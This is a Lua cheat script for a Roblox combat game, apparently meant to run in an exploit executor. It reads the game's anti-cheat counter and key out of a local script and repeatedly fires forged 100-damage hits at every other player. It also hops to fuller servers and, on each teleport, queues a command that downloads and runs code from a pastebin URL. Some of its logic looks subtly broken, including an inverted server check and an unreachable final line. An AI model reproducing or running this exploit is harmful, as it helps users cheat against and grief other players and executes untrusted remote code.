repeat
task.wait()
until game:IsLoaded()
local Players = game:GetService("Players")
local myPlayer = Players.LocalPlayer
repeat
task.wait()
myPlayer = Players.LocalPlayer
until myPlayer and myPlayer.Character
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local Teams = game:GetService("Teams")
local TeleportService = game:GetService("TeleportService")
local HttpService = game:GetService("HttpService")
local ACS_Engine = ReplicatedStorage.ACS_Engine
local Events = ACS_Engine.Events
local Remotes = ReplicatedStorage.Remotes
myPlayer.OnTeleport:Connect(function(state)
if state ~= Enum.TeleportState.Started then
return
end
queue_on_teleport([[loadstring(game:HttpGet("https://pastebin.com/raw/wkb0EuBy"))()]])
end)
local teams = {}
for i, v in Teams:GetTeams() do
if v.AutoAssignable or v == myPlayer.Team then
continue
end
table.insert(teams, v)
end
Remotes.Time:FireServer(teams[math.random(1, #teams)])
myPlayer.CharacterAdded:Wait()
task.wait() -- roblox roblox
local gunName = "AK-103"
Remotes.PlayerGun:FireServer(1, "AK-103", true)
task.wait(0.5)
myPlayer.Backpack[gunName].Parent = myPlayer.Character
local function TeleportToBestServer()
local body
repeat
body = HttpService:JSONDecode(
game:HttpGet(`https://games.roblox.com/v1/games/{game.PlaceId}/servers/Public?sortOrder=Desc&limit=100&excludeFullGames=true`)
)
until body and body.data and task.wait(1)
local bestServer
while not bestServer do
for i, v in body.data do
if type(v) ~= "table" or v.id ~= game.JobId then
continue
end
if v.playing >= v.maxPlayers then
continue
end
bestServer = v.id
end
task.wait()
end
TeleportService:TeleportToPlaceInstance(game.PlaceId, bestServer, myPlayer)
end
local gunLocalScript = (function()
for i, v in myPlayer.PlayerScripts:GetChildren() do
if not v:FindFirstChild("Events") then
continue
end
return v
end
end)()
local env = getsenv(gunLocalScript)
local GetWeaponId = env.byIdxCrr
local CastRay = env.abcdefg
local upv = getupvalues(CastRay)
local count = upv[10]
local byteRot = upv[11]
local key = upv[12]
while true do
local enemies = Players:GetPlayers()
if #enemies <= 10 then
TeleportToBestServer()
end
for _, enemy in enemies do
if enemy == myPlayer then
continue
end
local enemyCharacter = enemy.Character
if not enemyCharacter then
continue
end
local enemyRootPart = enemyCharacter:FindFirstChild("HumanoidRootPart")
if not enemyRootPart then
continue
end
Events.Damage:FireServer(enemyRootPart, enemyRootPart.Position, count, byteRot.rotate(count, key, 1), 100, GetWeaponId())
count += 1
end
task.wait(1)
end
debug.setupvalue(CastRay, 10, count)